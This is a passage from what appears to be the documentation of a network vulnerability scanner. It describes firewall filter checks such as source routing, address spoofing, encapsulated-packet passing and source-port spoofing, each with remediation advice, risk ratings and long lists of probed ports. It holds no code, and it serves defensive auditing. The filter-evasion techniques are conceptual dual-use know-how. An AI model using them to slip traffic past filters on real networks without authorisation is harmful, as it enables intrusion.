If your router is vulnerable to this, we suggest you reconfigure your filters. If your filtering device is vulnerable to this, we suggest you approach your vendor for an updated version of the system software.

Notes:
This attack should only cause concern IF you are attempting to block incoming connections to your internal network via your filtering device. An example of this is using the "established" key-word in your filter sets on Cisco brands of routers.

References
RFC 1858
ftp://ds.internic.net/rfc/rfc1858.txt

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Authorization

12009. Source routed packets check

Verbose Description
This filter check attempts to pass packets with the source route options set through your filtering device. Allowing packets with source route options through your filtering device can open your network up to a number of attacks which can lead to unauthorized access.

Suggestions
You should explicitly block all source routed packets in your filter sets.

References
NAI Security Advisory #07
http://www.nai.com/products/security/advisory/07_tcpspoofing_adv.asp

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: High
Underlying Cause: Configuration
Impact of Attack: Accountability Authorization

12010. Internal based address check

Verbose Description
This check attempts to pass packets with internal source addresses through your filtering device. If allowed through, packets with internal source addresses arriving from the internet can be used in many ways to gain unauthorized access to your internal network.

Suggestions
If your filter/firewall is open to this attack we suggest you block all incoming packets which have a source address which is the same as your internal network.

References
CERT Advisory CA-95:01.IP.spoofing
ftp://ftp.cert.org/pub/cert_advisories/CA-95:01.IP.spoofing

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Configuration
Impact of Attack: Accountability Authorization

12011. ICMP netmask request check

Verbose Description
The ICMP netmask request attempts to get the netmask for the internal subnet. This attack is used for information gathering through a firewall.

Suggestions
We suggest you examine your security policy, and determine which ICMP packets are to be allowed through your filtering device.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Design
Impact of Attack: Intelligence

12012. ICMP timestamp check

Verbose Description

The ICMP timestamp check attempts to gather host times off target machine via an ICMP timestamp request.

Suggestions
This is another implementation of ICMP provided to show how your filtering rules are handling ICMP.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Design
Impact of Attack: Intelligence

12013. IGMP check

Verbose Description
This check attempts to pass IGMP packets through your firewall.

Suggestions
We suggest you filter all IGMP. There is no immediately obvious reason why it should be allowed through your filtering device unless you are specifically using this protocol. It's purpose is to serve as a protocol for hosts which belong to Multicasting groups, to speak to Multicasting routers. If your organization does not use multicast utilities, the IGMP protocol should be filtered at your filtering device.

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Configuration
Impact of Attack: Authorization

12014. Mbone packet encapsulation check

Verbose Description
This check attempts to pass multicast packets through your firewall. Passing any encapsulated packet through your filtering device can be dangerous. When decapsulated, these packets may have unexpected results on the internal network.

Suggestions

If you are supporting multicast packets for use with Mbone (or other similar programs) we suggest you be excessively careful with your filter rules. It could be suggested that there is no truly safe way to send Mbone through a filtering device right now. An administrator should carefully consider letting this service through a filter set.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Configuration
Impact of Attack: Authorization

12015. AppleTalk encapsulation check

Verbose Description
This check attempts to determine whether encapsulated Appletalk packets are allowed to pass through the firewall. Passing any encapsulated packet through your filtering device can be dangerous. When decapsulated, these packets may have unexpected results on the internal network.

Suggestions
If your network should not be allowing passage to encapsulated AppleTalk packets, or has no reason to be allowing AppleTalk encapsulated packets through your filtering device we suggest you reconfigure your filter sets.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Configuration
Impact of Attack: Authorization

12016. IPX encapsulation check

Verbose Description
This check attempts to determine whether encapsulated IPX packets are allowed to pass through the firewall. Passing any encapsulated packet through your filtering device can be dangerous. When decapsulated, these packets may have unexpected results on the internal network.

Suggestions
If your router should not be allowing passage to encapsulated IPX

packets, or your network has no reason to be allowing IPX encapsulated packets through your filtering device we suggest you reconfigure your filter sets.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Configuration
Impact of Attack: Authorization

12017. IP encapsulation check

Verbose Description
This module attempts to determine whether or not it is possible to pass IP packets encapsulated within IP packets through the firewall. We attempt to determine whether the packet is allowed through, and whether or not packets with illegal options and source addresses will be allowed through. The invalid packets will be encapsulated within a valid IP packet.

Suggestions
Unless you have a specific need for allowing encapsulated IP packets into your network, we suggest that you prevent your filtering device from passing encapsulated IP packets into your network.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Configuration
Impact of Attack: Authorization

12018. Reserved bit check

Verbose Description
This module attempts to pass fragmented SYN packets through a Firewall with the IP reserved bits set. SYN TCP packets are used to establish a TCP connection to a remote host. Some filtering device which are configured to block fragmented packets may allow fragmented packets with the reserved bit set through. This is due to a programming error in the filtering device when examining the fragment offset field in the IP header.

Suggestions

If this test succeeds it is unlikely that you can fix this problem without contacting your vendor for a fix. Please contact the vendor of your filtering device for an update.

Notes:
This attack should only cause concern IF you are attempting to block incoming connections to your internal network via your filtering device. An example of this is using the "established" key-word in your filter sets on Cisco brands of routers.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: N/A
Impact of Attack: Authorization

12019. Source porting with UDP check

Verbose Description
This check attempts to pass packets through your filtering device by attempting to send packets from common source addresses. This attack is based around the notion that a filter allows packets to be passed by noting which port they originated from. In effect this is filtering by service. The fault inherent to this logic is that the filter cannot verify that packets coming from a certain port are in fact the actual service they are assumed to be.

The following ports are attempted:

* DNS
* SMTP
* FTP
* HTTP
* RealAudio
* America Online

Suggestions
If this check returns vulnerable, we suggest you perform a review of your filter set implementations.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Configuration
Impact of Attack: Authorization

12020. Source porting with TCP check

Verbose Description
This check attempts to pass packets through your filtering device by attempting to send packets from common source addresses. This attack is based around the notion that a filter allows packets to be passed by noting which port they originated from. In effect this is filtering by service. The fault inherent to this logic is that the filter cannot verify that packets coming from a certain port are in fact the actual service they are assumed to be.

The following ports are attempted:

* DNS
* SMTP
* FTP
* HTTP
* RealAudio
* America Online

Suggestions
If this check returns vulnerable, we suggest you perform a review of your filter set implementations.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Configuration
Impact of Attack: Authorization

12021. Odd protocol check

Verbose Description
This check attempts to pass obscure protocols through your filters. Examples of such protocols can be found in RFC 1340 (Assigned Protocol Numbers). This check also attempts to pass packets through your filtering device with protocol numbers which are not yet assigned.

Suggestions
Allowing protocols other than TCP, UDP, and ICMP through a filter can be dangerous because they may do things such as affect routing tables, or carry encapsulated packets. Unless you have an explicit reason to allow these protocols through, they should be blocked at your filtering

device.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Configuration
Impact of Attack: Authorization

12022. TCP ports filter check

Verbose Description
This check attempts to discern which TCP ports are allowed to pass through your filtering device. This check uses a list of well known ports, however does not perform an exhaustive probe of all ports. To perform this, the user will want to select the Exhaustive TCP ports filter check.

Suggestions
Depending on which TCP ports you wish to allow incoming packets to, you should configure your packet filter appropriately. A common setup is to only allow outgoing connections through the filtering device, and deny any connections originating from the external network. Services which are allowed into your network should be kept to a bare minimum.

Notes:
CyberCop Scanner will attempt to pass packets through your filtering device via the following TCP ports:

1 tcpmux	2 compressnet	3 compressnet
5 rje	7 echo	9 discard
11 systat	13 daytime	17 qotd
18 msp	19 chargen	20 ftp-data
21 ftp	22 ssh	23 telnet
25 smtp	27 nsw-fe	29 msg-icp
31 msg-auth	33 dsp	37 time
38 rap	39 rlp	41 graphics
42 nameserver	43 nicname	44 mpm-flags
45 mpm	46 mpm-snd	47 ni-ftp
48 auditd	50 re-mail-ck	51 la-maint
52 xns-time	53 domain	54 xns-ch
55 isi-gl	56 xns-auth	57 mtp
58 xns-mail	61 ni-mail	62 acas
63 whois++	64 covia	65 tacacs-ds
66 sql*net	67 bootps	68 bootpc
69 tftp	70 gopher	71 netrjs-1
72 netrjs-2	73 netrjs-3	74 netrjs-4
76 deos	77 netrjs	78 vettcp

78 vettcp 79 finger 80 http
81 hosts2-ns 82 xfer 83 mit-ml-dev
84 ctf 85 mit-ml-dev 86 mfcobol
87 ttylink 89 su-mit-tg 90 dnsix
91 mit-dov 92 npp 93 dcp
94 objcall 95 supdup 96 dixie
97 swift-rvf 98 tacnews 99 metagram
100 newacct 101 hostname 102 iso-tsap
103 gppitnp 104 acr-nema 105 csnet-ns
106 3com-tsmux 107 rtelnet 108 snagas
109 pop2 110 pop3 111 sunrpc
112 mcidas 113 auth 114 audionews
115 sftp 116 ansanotify 117 uucp-path
118 sqlserv 119 nntp 120 cfdptkt
121 erpc 122 smakynet 123 ntp
124 ansatrader 125 locus-map 126 unitary
127 locus-con 128 gss-xlicen 129 pwdgen
130 cisco-fna 131 cisco-tna 132 cisco-sys
133 statsrv 134 ingres-net 135 loc-srv
136 profile 137 netbios-ns 138 netbios-dgm
139 netbios-ssn 140 emfis-data 141 emfis-cntl
142 bl-idm 143 imap2 144 NeWS
145 uaac 146 iso-tp0 147 iso-ip
148 cronus 149 aed-512 150 sql-net
151 hems 152 bftp 153 sgmp
154 netsc-prod 155 netsc-dev 156 sqlsrv
157 knet-cmp 158 pcmail-srv 159 nss-routing
160 sgmp-traps 161 snmp 162 snmptrap
163 cmip-man 164 cmip-agent 165 xns-courier
166 s-net 167 namp 168 rsvd
169 send 170 print-srv 171 multiplex
172 cl/1 173 xyplex-mux 174 mailq
175 vmnet 176 genrad-mux 177 xdmcp
178 nextstep 179 bgp 180 ris
181 unify 182 audit 183 ocbinder
184 ocserver 185 remote-kis 186 kis
187 aci 188 mumps 189 qft
190 gacp 191 prospero 192 osu-nms
193 srmp 194 irc 195 dn6-nlm-aud
196 dn6-smm-red 197 dls 198 dls-mon
199 smux 200 src 201 at-rtmp
202 at-nbp 203 at-3 204 at-echo
205 at-5 206 at-zis 207 at-7
208 at-8 209 tam 210 z39.50
211 914c/g 212 anet 213 ipx
214 vmpwscs 215 softpc 216 atls
217 dbase 218 mpp 219 uarps
220 imap3 221 fln-spx 222 rsh-spx
223 cdc 243 sur-meas 245 link
246 dsp3270 344 pdap 345 pawserv
346 zserv 347 fatserv 348 csi-sgwp
371 clearcase 372 ulistserv 373 legent-1
374 legent-2 375 hassle 376 nip

377 tnETOS 378 dsETOS 379 is99c
380 is99s 381 hp-collector 382 hp-managed-n
383 hp-alarm-mgr 384 arns 385 ibm-app
385 ibm-app 386 asa 387 aurp
388 unidata-ldm 389 ldap 390 uis
391 synotics-rel 392 synotics-bro 393 dis
394 embl-ndt 395 netcp 395 netcp
396 netware-ip 397 mptn 398 kryptolan
399 iso-tsap-c2 400 work-sol 401 ups
402 genie 403 decap 404 nced
405 ncld 406 imsp 407 timbuktu
408 prm-sm 409 prm-nm 410 decladebug
411 rmt 412 synoptics-tr 413 smsp
414 infoseek 415 bnet 416 silverplatte
417 onmux 418 hyper-g 419 ariel1
420 smpte 421 ariel2 422 ariel3
423 opc-job-star 424 opc-job-trac 425 icad-el
426 smartsdp 427 svrloc 428 ocs_cmu
429 ocs_amu 430 utmpsd 431 utmpcd
432 iasd 433 nnsp 434 mobileip-age
435 mobilip-mn 436 dna-cml 437 comscm
438 dsfgw 439 dasp 440 sgcp
441 decvms-sysmg 442 cvc_hostd 443 https
444 snpp 445 microsoft-ds 446 ddm-rdb
447 ddm-dfm 448 ddm-byte 449 as-servermap
450 tserver 451 sfs-smp-net 452 sfs-config
453 creativeserv 454 contentserve 455 creativepart
456 macon-tcp 457 scohelp 458 appleqtc
459 ampr-rcmd 460 skronk 461 datasurfsrv
462 datasurfsrvs 463 alpes 512 exec
513 login 514 cmd 515 printer
517 talk 518 ntalk 519 utime
520 efs 525 timed 526 tempo
530 courier 531 conference 532 netnews
533 netwall 539 apertus-ldp 540 uucp
541 uucp-rlogin 543 klogin 544 kshell
545 appleqtcsrvr 550 new-rwho 551 cybercash
552 deviceshare 553 pirp 555 dsf
556 remotefs 557 openvms-sysi 558 sdnskmp
559 teedtap 560 rmonitor 561 monitor
562 chshell 563 snews 564 9pfs
565 whoami 570 meter 571 umeter
600 ipcserver 607 nqs 606 urm
608 sift-uft 609 npmp-trap 610 npmp-local
611 npmp-gui 634 ginad 666 mdqs
666 doom 704 elcsd 709 entrustmanag
729 netviewdm1 730 netviewdm2 730 netviewdm2
731 netviewdm3 731 netviewdm3 741 netgw
742 netrcs 744 flexlm 747 fujitsu-dev
748 ris-cm 750 kerberos 750 rfile
751 kerberos_mas 751 pump 752 qrh
753 rrh 754 krb_prop 754 tell
758 nlogin 759 con 760 krbupdate

760 ns 761 kpasswd 761 rxe
762 quotad 763 cycleserv 764 omserv
765 webster 767 phonebook 769 vid
770 cadlock 771 rtip 772 cycleserv2
773 submit 774 rpasswd 775 entomb
776 wpages 780 wpgs 786 concert
800 mdbs_daemon 801 device 871 supfilesrv
888 accessbuilde 996 vsinet 997 maitrd
998 busboy 999 garcon 999 puprouter
1000 cadlock 1025 blackjack 1030 iad1
1031 iad2 1032 iad3 1058 nim
1059 nimreg 1067 instl_boots 1068 instl_bootc
1080 socks 1083 ansoft-lm-1 1084 ansoft-lm-2
1110 nfsd-status 1127 supfiledbg 1155 nfa
1212 lupa 1222 nerv 1248 hermes
1346 alta-ana-lm 1347 bbn-mmc 1348 bbn-mmx
1349 sbook 1350 editbench 1351 equationbuil
1352 lotusnote 1353 relief 1354 rightbrain
1355 intuitive-ed 1356 cuillamartin 1357 pegboard
1358 connlcli 1359 ftsrv 1360 mimer
1361 linx 1362 timeflies 1363 ndm-requeste
1364 ndm-server 1365 adapt-sna 1366 netware-csp
1367 dcs 1368 screencast 1369 gv-us
1370 us-gv 1371 fc-cli 1372 fc-ser
1373 chromagrafx 1374 molly 1375 bytex
1376 ibm-pps 1377 cichlid 1378 elan
1379 dbreporter 1380 telesis-licm 1381 apple-licman
1383 gwha 1384 os-licman 1385 atex_elmd
1386 checksum 1387 cadsi-lm 1388 objective-db
1389 iclpv-dm 1390 iclpv-sc 1391 iclpv-sas
1392 iclpv-pm 1393 iclpv-nls 1394 iclpv-nlc
1395 iclpv-wsm 1396 dvl-activema 1397 audio-activm
1398 video-activm 1399 cadkey-licma 1400 cadkey-table
1401 goldleaf-lic 1402 prm-sm-np 1403 prm-nm-np
1404 igi-lm 1405 ibm-res 1406 netlabs-lm
1407 dbsa-lm 1408 sophia-lm 1409 here-lm
1410 hiq 1411 af 1412 innosys
1413 innosys-acl 1414 ibm-mqseries 1415 dbstar
1416 novell-lu6.2 1417 timbuktu-srv 1417 timbuktu-srv
1418 timbuktu-srv 1419 timbuktu-srv 1420 timbuktu-srv
1421 gandalf-lm 1422 autodesk-lm 1423 essbase
1424 hybrid 1425 zion-lm 1426 sas-1
1427 mloadd 1428 informatik-l 1429 nms
1430 tpdu 1431 rgtp 1432 blueberry-lm
1433 ms-sql-s 1434 ms-sql-m 1435 ibm-cics
1436 sas-2 1437 tabula 1438 eicon-server
1439 eicon-x25 1440 eicon-slp 1441 cadis-1
1442 cadis-2 1443 ies-lm 1444 marcam-lm
1445 proxima-lm 1446 ora-lm 1447 apri-lm
1448 oc-lm 1449 peport 1450 dwf
1451 infoman 1452 gtegsc-lm 1453 genie-lm
1454 interhdl_elm 1454 interhdl_elm 1455 esl-lm
1456 dca 1457 valisys-lm 1458 nrcabq-lm

1459 proshare1 1460 proshare2 1461 ibm_wrless_l
1462 world-lm 1463 nucleus 1464 msl_lmd
1465 pipes 1466 oceansoft-lm 1467 csdmbase
1468 csdm 1469 aal-lm 1470 uaiact
1471 csdmbase 1472 csdm 1473 openmath
1474 telefinder 1475 taligent-lm 1476 clvm-cfg
1477 ms-sna-serve 1478 ms-sna-base 1479 dberegister
1480 pacerforum 1481 airs 1482 miteksys-lm
1483 afs 1484 confluent 1485 lansource
1486 nms_topo_ser 1487 localinfosrv 1488 docstor
1489 dmdocbroker 1490 insitu-conf 1491 anynetgatewa
1492 stone-design 1493 netmap_lm 1494 ica
1495 cvc 1496 liberty-lm 1497 rfx-lm
1498 watcom-sql 1499 fhc 1500 vlsi-lm
1501 sas-3 1502 shivadiscove 1503 imtc-mcs
1504 evb-elm 1505 funkproxy 1506 utcd
1507 symplex 1508 diagmond 1509 robcad-lm
1510 mvx-lm 1511 3l-l1 1512 wins
1513 fujitsu-dtc 1514 fujitsu-dtcn 1515 ifor-protoco
1516 vpad 1517 vpac 1518 vpvd
1519 vpvc 1520 atm-zip-offi 1521 ncube-lm
1522 rna-lm 1523 cichild-lm 1524 ingreslock
1525 prospero-np 1525 orasrv 1526 pdap-np
1527 tlisrv 1528 mciautoreg 1529 support
1529 coauthor 1530 rap-service 1531 rap-listen
1532 miroconnect 1533 virtual-plac 1534 micromuse-lm
1535 ampr-info 1536 ampr-inter 1537 sdsc-lm
1538 3ds-lm 1539 intellistor- 1540 rds
1541 rds2 1542 gridgen-elmd 1543 simba-cs
1544 aspeclmd 1545 vistium-shar 1546 abbaccuray
1547 laplink 1548 axon-lm 1549 shivahose
1550 3m-image-lm 1551 hecmtl-db 1552 pciarray
1600 issd 1650 nkd 1651 shiva_confsr
1652 xnmp 1661 netview-aix- 1662 netview-aix-
1663 netview-aix- 1664 netview-aix- 1665 netview-aix-
1666 netview-aix- 1667 netview-aix- 1668 netview-aix-
1669 netview-aix- 1670 netview-aix- 1671 netview-aix-
1672 netview-aix- 1986 licensedaemo 1987 tr-rsrb-p1
1988 tr-rsrb-p2 1989 tr-rsrb-p3 1989 mshnet
1990 stun-p1 1991 stun-p2 1992 stun-p3
1992 ipsendmsg 1993 snmp-tcp-por 1993 snmp-tcp-por
1994 stun-port 1995 perf-port 1996 tr-rsrb-port
1997 gdp-port 1998 x25-svc-port 2000 callbook
2001 dc 2002 globe 2003 cfingerd
2004 mailbox 2005 berknet 2006 invokator
2007 dectalk 2008 conf 2009 news
2010 search 2011 raid-cc 2012 ttyinfo
2013 raid-am 2014 troff 2015 cypress
2016 bootserver 2017 cypress-stat 2018 terminaldb
2019 whosockami 2020 xinupageserv 2021 servexec
2022 down 2023 xinuexpansio 2024 xinuexpansio
2025 ellpack 2026 scrabble 2027 shadowserver
2028 submitserver 2030 device2 2032 blackboard

2033 glogger 2034 scoremgr 2035 imsldoc
2038 objectmanage 2040 lam 2041 interbase
2042 isis 2043 isis-bcast 2044 rimsl
2045 cdfunc 2046 sdfunc 2048 dls-monitor
2049 shilp 2065 dlsrpn 2067 dlswpn
2105 eklogin 2108 rkinit 2201 ats
2232 ivs-video 2241 ivsd 2307 pehelp
2500 rtsserv 2501 rtsclient 2564 hp-3000-teln
2766 listen 2784 www-dev 3000 ppp
3049 NSWS 3141 vmodem 3264 ccmail
3333 dec-notes 3984 mapper-nodem 3985 mapper-mapet
3986 mapper-ws_et 3421 bmap 3455 prsvp
3456 vat 3457 vat-control 3900 udt_os
4008 netcheque 4045 lockd 4132 nuts_dem
4133 nuts_bootp 4321 rwhois 4343 unicall
4444 krb524 4444 nv-video 4500 sae-urn
4557 fax 4672 rfa 5000 commplex-mai
5001 commplex-lin 5002 rfe 5010 telelpathsta
5011 telelpathatt 5050 mmcc 5145 rmonitor_sec
5190 aol 5191 aol-1 5192 aol-2
5193 aol-3 5236 padl2sim 5300 hacl-hb
5301 hacl-gs 5302 hacl-cfg 5303 hacl-probe
5304 hacl-local 5305 hacl-test 5713 proshareaudi
5714 prosharevide 5715 prosharedata 5716 prosharerequ
5717 prosharenoti 6110 softcm 6111 spc
6141 meta-corp 6142 aspentec-lm 6143 watershed-lm
6144 statsci1-lm 6145 statsci2-lm 6146 lonewolf-lm
6147 montage-lm 6148 ricardo-lm 6558 xdsxdm
6969 acmsoda 7000 afs3-fileser 7001 afs3-callbac
7002 afs3-prserve 7003 afs3-vlserve 7004 afs3-kaserve
7005 afs3-volser 7006 afs3-errors 7007 afs3-bos
7008 afs3-update 7009 afs3-rmtsys 7010 ups-onlinet
7100 font-service 7200 fodms 7201 dlip
9535 man 9876 sd 17007 isode-dua
18000 biimenu 47557 dbbrowse

Risk Factor: Medium
Ease of repair: N/A
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Authorization

12023. UDP ports filter check

Verbose Description
This check attempts to discern which UDP ports are allowed to pass through your filtering device. This check uses a list of well known ports, however does not perform an exhaustive probe of all ports.

To perform this, the user will want to select the Exhaustive UDP ports filter check.

Suggestions

Depending on which UDP ports you wish to allow incoming packets to, you should configure your packet filter appropriately. With the exception of allowing UDP packets in to port 53 of your public DNS server, allowing UDP is a bad idea. Many SunRPC services listen on random UDP ports, and an attacker will be able to find them and exploit vulnerabilities if he can pass UDP packets in to your network.

Notes:

CyberCop Scanner will attempt to pass packets through your filtering device via the following UDP ports:

1 tcpmux	2 compressnet	
3 compressnet	5 rje	7 echo
9 discard	11 systat	13 daytime
17 qotd	18 msp	19 chargen
20 ftp-data	21 ftp	22 ssh
23 telnet	25 smtp	27 nsw-fe
29 msg-icp	31 msg-auth	33 dsp
37 time	38 rap	39 rlp
41 graphics	42 nameserver	43 nicname
44 mpm-flags	45 mpm	46 mpm-snd
47 ni-ftp	48 auditd	50 re-mail-ck
51 la-maint	52 xns-time	53 domain
54 xns-ch	55 isi-gl	56 xns-auth
58 xns-mail	61 ni-mail	62 acas
63 whois++	64 covia	65 tacacs-ds
66 sql*net	67 bootps	68 bootpc
69 tftp	70 gopher	71 netrjs-1
72 netrjs-2	73 netrjs-3	74 netrjs-4
76 deos	78 vettcp	79 finger
80 http	81 hosts2-ns	82 xfer
83 mit-ml-dev	84 ctf	85 mit-ml-dev
86 mfcobol	89 su-mit-tg	90 dnsix
91 mit-dov	92 npp	93 dcp
94 objcall	95 supdup	96 dixie
97 swift-rvf	98 tacnews	99 metagram
101 hostname	102 iso-tsap	103 gppitnp
104 acr-nema	105 csnet-ns	106 3com-tsmux
107 rtelnet	108 snagas	109 pop2
110 pop3	111 sunrpc	112 mcidas
113 auth	114 audionews	115 sftp
116 ansanotify	117 uucp-path	118 sqlserv
119 nntp	120 cfdptkt	121 erpc
122 smakynet	123 ntp	124 ansatrader
125 locus-map	126 unitary	127 locus-con
128 gss-xlicen	129 pwdgen	130 cisco-fna
131 cisco-tna	132 cisco-sys	133 statsrv
134 ingres-net	135 loc-srv	136 profile

137 netbios-ns 138 netbios-dgm 139 netbios-ssn
140 emfis-data 141 emfis-cntl 142 bl-idm
143 imap2 144 NeWS 145 uaac
146 iso-tp0 147 iso-ip 148 cronus
149 aed-512 150 sql-net 151 hems
152 bftp 153 sgmp 154 netsc-prod
155 netsc-dev 156 sqlsrv 157 knet-cmp
158 pcmail-srv 159 nss-routing 160 sgmp-traps
161 snmp 162 snmptrap 163 cmip-man
164 smip-agent 165 xns-courier 166 s-net
167 namp 168 rsvd 169 send
170 print-srv 171 multiplex 172 cl/1
173 xyplex-mux 174 mailq 175 vmnet
176 genrad-mux 177 xdmcp 178 NextStep
179 bgp 180 ris 181 unify
182 audit 183 ocbinder 184 ocserver
185 remote-kis 186 kis 187 aci
188 mumps 189 qft 190 cacp
191 prospero 192 osu-nms 193 srmp
194 irc 195 dn6-nlm-aud 196 dn6-smm-red
197 dls 198 dls-mon 199 smux
200 src 201 at-rtmp 202 at-nbp
203 at-3 204 at-echo 205 at-5
206 at-zis 207 at-7 208 at-8
209 tam 210 z39.50 211 914c/g
212 anet 213 ipx 214 vmpwscs
215 softpc 216 atls 217 dbase
218 mpp 219 uarps 220 imap3
221 fln-spx 222 rsh-spx 223 cdc
243 sur-meas 245 link 246 dsp3270
344 pdap 345 pawserv 346 zserv
347 fatserv 348 csi-sgwp 371 clearcase
372 ulistserv 373 legent-1 374 legent-2
375 hassle 376 nip 377 tnETOS
378 dsETOS 379 is99c 380 is99s
381 hp-collector 382 hp-managed-n 383 hp-alarm-mgr
384 arns 386 asa 387 aurp
388 unidata-ldm 389 ldap 390 uis
391 synotics-rel 392 synotics-bro 393 dis
394 embl-ndt 395 netcp 396 netware-ip
397 mptn 398 kryptolan 399 iso-tsap-c2
400 work-sol 401 ups 402 genie
403 decap 404 nced 405 ncld
406 imsp 407 timbuktu 408 prm-sm
409 prm-nm 410 decladebug 411 rmt
412 synoptics-tr 413 smsp 414 infoseek
415 bnet 416 silverplatte 417 onmux
418 hyper-g 419 ariel1 420 smpte
421 ariel2 422 ariel3 423 opc-job-star
424 opc-job-trac 425 icad-el 426 smartsdp
427 svrloc 428 ocs_cmu 429 ocs_amu
430 utmpsd 431 utmpcd 432 iasd
433 nnsp 434 mobileip-age 435 mobilip-mn

436 dna-cml 437 comscm 438 dsfgw
439 dasp 440 sgcp 441 decvms-sysmg
442 cvc_hostd 443 https 444 snpp
445 microsoft-ds 446 ddm-rdb 447 ddm-dfm
448 ddm-byte 449 as-servermap 450 tserver
451 sfs-smp-net 452 sfs-config 453 creativeserv
454 contentserve 455 creativepart 456 macon-udp
457 scohelp 458 appleqtc 459 ampr-rcmd
460 skronk 461 datasurfsrv 462 datasurfsrvs
463 alpes 512 biff 513 who
514 syslog 515 printer 517 talk
518 ntalk 519 utime 520 router
525 timed 526 tempo 530 courier
531 conference 532 netnews 533 netwall
539 apertus-ldp 540 uucp 541 uucp-rlogin
543 klogin 544 kshell 545 appleqtcsrvr
550 new-rwho 551 cybercash 552 deviceshare
553 pirp 555 dsf 556 remotefs
557 openvms-sysi 558 sdnskmp 559 teedtap
560 rmonitor 561 monitor 562 chshell
563 snews 564 9pfs 565 whoami
570 meter 571 umeter 600 ipcserver
607 nqs 606 urm 608 sift-uft
609 npmp-trap 610 npmp-local 611 npmp-gui
634 ginad 666 mdqs 666 doom
704 elcsd 709 entrustmanag 729 netviewdm1
730 netviewdm2 731 netviewdm3 741 netgw
742 netrcs 744 flexlm 747 fujitsu-dev
748 ris-cm 750 kerberos 750 loadav
751 kerberos_mas 751 pump 752 qrh
753 rrh 754 tell 758 nlogin
759 con 760 ns 761 rxe
762 quotad 763 cycleserv 764 omserv
765 webster 767 phonebook 769 vid
770 cadlock 771 rtip 772 cycleserv2
773 notify 774 acmaint_dbd 775 acmaint_tran
776 wpages 780 wpgs 786 concert
800 mdbs_daemon 801 device 888 accessbuilde
996 vsinet 997 maitrd 998 puparp
999 applix 999 puprouter 1000 ock
1025 blackjack 1030 iad1 1031 iad2
1032 iad3 1058 nim 1059 nimreg
1067 instl_boots 1068 instl_bootc 1080 socks
1083 ansoft-lm-1 1084 ansoft-lm-2 1110 nfsd-keepali
1155 nfa 1167 phone 1212 lupa
1222 nerv 1248 hermes 1346 alta-ana-lm
1347 bbn-mmc 1348 bbn-mmx 1349 sbook
1350 editbench 1351 equationbuil 1352 lotusnote
1353 relief 1354 rightbrain 1355 intuitive-ed
1356 cuillamartin 1357 pegboard 1358 connlcli
1359 ftsrv 1360 mimer 1361 linx
1362 timeflies 1363 ndm-requeste 1364 ndm-server
1365 adapt-sna 1366 netware-csp 1367 dcs

1368 screencast 1369 gv-us 1370 us-gv
1371 fc-cli 1372 fc-ser 1373 chromagrafx
1374 molly 1375 bytex 1376 ibm-pps
1377 cichlid 1378 elan 1379 dbreporter
1380 telesis-licm 1381 apple-licman 1383 gwha
1384 os-licman 1385 atex_elmd 1386 checksum
1387 cadsi-lm 1388 objective-db 1389 iclpv-dm
1390 iclpv-sc 1391 iclpv-sas 1392 iclpv-pm
1393 iclpv-nls 1394 iclpv-nlc 1395 iclpv-wsm
1396 dvl-activema 1397 audio-activm 1398 video-activm
1399 cadkey-licma 1400 cadkey-table 1401 goldleaf-lic
1402 prm-sm-np 1403 prm-nm-np 1404 igi-lm
1405 ibm-res 1406 netlabs-lm 1407 dbsa-lm
1408 sophia-lm 1409 here-lm 1410 hiq
1411 af 1412 innosys 1413 innosys-acl
1414 ibm-mqseries 1415 dbstar 1416 novell-lu6.2
1418 timbuktu-srv 1419 timbuktu-srv 1420 timbuktu-srv
1421 gandalf-lm 1422 autodesk-lm 1423 essbase
1424 hybrid 1425 zion-lm 1426 sas-1
1427 mloadd 1428 informatik-l 1429 nms
1430 tpdu 1431 rgtp 1432 blueberry-lm
1433 ms-sql-s 1434 ms-sql-m 1435 ibm-cics
1436 sas-2 1437 tabula 1438 eicon-server
1439 eicon-x25 1440 eicon-slp 1441 cadis-1
1442 cadis-2 1443 ies-lm 1444 marcam-lm
1445 proxima-lm 1446 ora-lm 1447 apri-lm
1448 oc-lm 1449 peport 1450 dwf
1451 infoman 1452 gtegsc-lm 1453 genie-lm
1455 esl-lm 1456 dca 1457 valisys-lm
1458 nrcabq-lm 1459 proshare1 1460 proshare2
1461 ibm_wrless_l 1462 world-lm 1463 nucleus
1464 msl_lmd 1465 pipes 1466 oceansoft-lm
1467 csdmbase 1468 csdm 1469 aal-lm
1470 uaiact 1471 csdmbase 1472 csdm
1473 openmath 1474 telefinder 1475 taligent-lm
1476 clvm-cfg 1477 ms-sna-serve 1478 ms-sna-base
1479 dberegister 1480 pacerforum 1481 airs
1482 miteksys-lm 1483 afs 1484 confluent
1485 lansource 1486 nms_topo_ser 1487 localinfosrv
1488 docstor 1489 dmdocbroker 1490 insitu-conf
1491 anynetgatewa 1492 stone-design 1493 netmap_lm
1494 ica 1495 cvc 1496 liberty-lm
1497 rfx-lm 1498 watcom-sql 1499 fhc
1500 vlsi-lm 1501 sas-3 1502 shivadiscove
1503 imtc-mcs 1504 evb-elm 1505 funkproxy
1506 utcd 1507 symplex 1508 diagmond
1509 robcad-lm 1510 mvx-lm 1511 3l-l1
